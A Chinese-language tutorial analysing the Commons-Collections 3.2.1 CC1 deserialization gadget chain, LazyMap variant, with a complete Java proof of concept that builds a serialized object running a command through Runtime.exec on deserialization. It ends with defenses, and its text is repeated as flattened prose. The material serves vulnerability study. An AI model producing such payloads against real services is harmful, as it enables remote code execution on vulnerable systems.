java反序列化之cc1链 LazyMap版
字数 1759 2025-09-01 11:26:17

Java反序列化漏洞分析:CC1链LazyMap版

前置知识

JDK动态代理

JDK动态代理是一种在运行时创建代理对象并定义其行为的机制,常用于AOP、远程调用、权限控制、懒加载等场景。JDK提供了内置的动态代理支持,但只能代理接口。

主要组成部分:

  1. 接口(Interface):定义需要代理的方法
  2. 真实实现类(Real Subject):接口的具体实现,包含实际业务逻辑
  3. InvocationHandler:调用处理器接口,定义代理对象方法被调用时的执行逻辑
  4. 代理对象(Proxy Object):JDK在运行时生成,实现了目标接口的动态代理类

示例代码:

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

// 定义接口
interface Service {
    void doSomething();
}

// 实现类
class RealService implements Service {
    public void doSomething() {
        System.out.println("RealService doing something...");
    }
}

// InvocationHandler 实现
class MyInvocationHandler implements InvocationHandler {
    private final Object target;
    
    public MyInvocationHandler(Object target) {
        this.target = target;
    }
    
    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        System.out.println("Before method call");
        Object result = method.invoke(target, args);
        System.out.println("After method call");
        return result;
    }
}

public class Main {
    public static void main(String[] args) {
        RealService realService = new RealService();
        Service proxy = (Service) Proxy.newProxyInstance(
            Service.class.getClassLoader(),
            new Class[]{Service.class},
            new MyInvocationHandler(realService)
        );
        proxy.doSomething();
    }
}

关键点:

  • InvocationHandlerinvoke方法是一个反射调用方法,在反射前后可以添加其他处理逻辑
  • 调用代理对象执行方法时,会执行InvocationHandler中的invoke方法

环境准备

  • JDK版本:jdk8u65
  • Maven版本:maven-3.6.3
  • Commons-Collections版本:commons-collections-3.2.1
  • 需要将OpenJDK的sun包拷贝到jdk8u65的src下以便调试

Maven依赖:

<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
</dependencies>

漏洞链分析

1. Transformer组件分析

InvokerTransformer

InvokerTransformertransform方法具备完整的反射条件:

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
    } catch (Exception ex) {
        // 异常处理
    }
}

利用方式:

Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer(
    "exec", 
    new Class[]{String.class}, 
    new Object[]{"calc"}
);
invokerTransformer.transform(runtime);

ConstantTransformer

ConstantTransformertransform方法直接返回构造函数传入的对象:

public Object transform(Object input) {
    return iConstant;
}

ChainedTransformer

ChainedTransformertransform方法会遍历Transformer数组,将前一个Transformer的结果作为下一个Transformer的输入:

public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

组合利用:

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", null}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, null}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(null);

2. LazyMap触发点

LazyMapget方法会调用factory.transform(key)

public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = factory.transform(key);
        super.map.put(key, value);
        return value;
    }
    return super.map.get(key);
}

利用方式:

HashMap<Object,Object> hashmap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashmap, chainedTransformer);
decorateMap.get(null);

3. AnnotationInvocationHandler连接点

AnnotationInvocationHandler实现了InvocationHandler接口,其invoke方法会调用memberValues.get()

public Object invoke(Object proxy, Method method, Object[] args) {
    String member = method.getName();
    // ...
    Object result = memberValues.get(member);
    // ...
    return result;
}

利用方式:

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap);
Map proxyMap = (Map) Proxy.newProxyInstance(
    ClassLoader.getSystemClassLoader(),
    new Class[]{Map.class},
    invocationHandler
);
proxyMap.entrySet();

4. 反序列化入口

AnnotationInvocationHandlerreadObject方法会操作memberValues

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    // ...
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        // ...
    }
}

完整利用链

  1. 反序列化时调用AnnotationInvocationHandler.readObject()
  2. readObject()中调用memberValues.entrySet()
  3. 如果memberValues是代理对象,会调用InvocationHandler.invoke()
  4. invoke()中调用memberValues.get()
  5. 如果memberValuesLazyMap,会调用factory.transform()
  6. factoryChainedTransformer,执行一系列transform()调用
  7. 最终通过反射执行恶意命令

完整POC

public class LazyFinalEXP {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[]{String.class, Class[].class}, 
                new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", 
                new Class[]{Object.class, Object[].class}, 
                new Object[]{null, null}),
            new InvokerTransformer("exec", 
                new Class[]{String.class}, 
                new Object[]{"calc"})
        };
        
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
        
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        
        InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(
            ClassLoader.getSystemClassLoader(),
            new Class[]{Map.class},
            invocationHandler
        );
        
        Object poc = declaredConstructor.newInstance(Target.class, proxyMap);
        serialize(poc);
        unserialize("ser.bin");
    }
    
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

关键点总结

  1. Transformer链:通过ChainedTransformer组合多个Transformer实现反射调用链
  2. LazyMap触发LazyMap.get()方法会调用factory.transform()
  3. 动态代理:通过代理对象触发InvocationHandler.invoke()
  4. AnnotationInvocationHandler
    • invoke()方法调用memberValues.get()
    • readObject()方法触发整个调用链
  5. 序列化入口AnnotationInvocationHandlerreadObject()是反序列化的起点

防御措施

  1. 升级Commons-Collections到安全版本(3.2.2+)
  2. 使用JEP 290限制反序列化类
  3. 使用安全管理器限制危险操作
  4. 避免反序列化不可信数据
Java反序列化漏洞分析:CC1链LazyMap版 前置知识 JDK动态代理 JDK动态代理是一种在运行时创建代理对象并定义其行为的机制,常用于AOP、远程调用、权限控制、懒加载等场景。JDK提供了内置的动态代理支持,但只能代理接口。 主要组成部分: 接口(Interface) :定义需要代理的方法 真实实现类(Real Subject) :接口的具体实现,包含实际业务逻辑 InvocationHandler :调用处理器接口,定义代理对象方法被调用时的执行逻辑 代理对象(Proxy Object) :JDK在运行时生成,实现了目标接口的动态代理类 示例代码: 关键点: InvocationHandler 的 invoke 方法是一个反射调用方法,在反射前后可以添加其他处理逻辑 调用代理对象执行方法时,会执行 InvocationHandler 中的 invoke 方法 环境准备 JDK版本:jdk8u65 Maven版本:maven-3.6.3 Commons-Collections版本:commons-collections-3.2.1 需要将OpenJDK的 sun 包拷贝到jdk8u65的src下以便调试 Maven依赖: 漏洞链分析 1. Transformer组件分析 InvokerTransformer InvokerTransformer 的 transform 方法具备完整的反射条件: 利用方式: ConstantTransformer ConstantTransformer 的 transform 方法直接返回构造函数传入的对象: ChainedTransformer ChainedTransformer 的 transform 方法会遍历Transformer数组,将前一个Transformer的结果作为下一个Transformer的输入: 组合利用: 2. LazyMap触发点 LazyMap 的 get 方法会调用 factory.transform(key) : 利用方式: 3. AnnotationInvocationHandler连接点 AnnotationInvocationHandler 实现了 InvocationHandler 接口,其 invoke 方法会调用 memberValues.get() : 利用方式: 4. 反序列化入口 AnnotationInvocationHandler 的 readObject 方法会操作 memberValues : 完整利用链 反序列化时调用 AnnotationInvocationHandler.readObject() readObject() 中调用 memberValues.entrySet() 如果 memberValues 是代理对象,会调用 InvocationHandler.invoke() invoke() 中调用 memberValues.get() 如果 memberValues 是 LazyMap ,会调用 factory.transform() factory 是 ChainedTransformer ,执行一系列 transform() 调用 最终通过反射执行恶意命令 完整POC 关键点总结 Transformer链 :通过 ChainedTransformer 组合多个 Transformer 实现反射调用链 LazyMap触发 : LazyMap.get() 方法会调用 factory.transform() 动态代理 :通过代理对象触发 InvocationHandler.invoke() AnnotationInvocationHandler : invoke() 方法调用 memberValues.get() readObject() 方法触发整个调用链 序列化入口 : AnnotationInvocationHandler 的 readObject() 是反序列化的起点 防御措施 升级Commons-Collections到安全版本(3.2.2+) 使用JEP 290限制反序列化类 使用安全管理器限制危险操作 避免反序列化不可信数据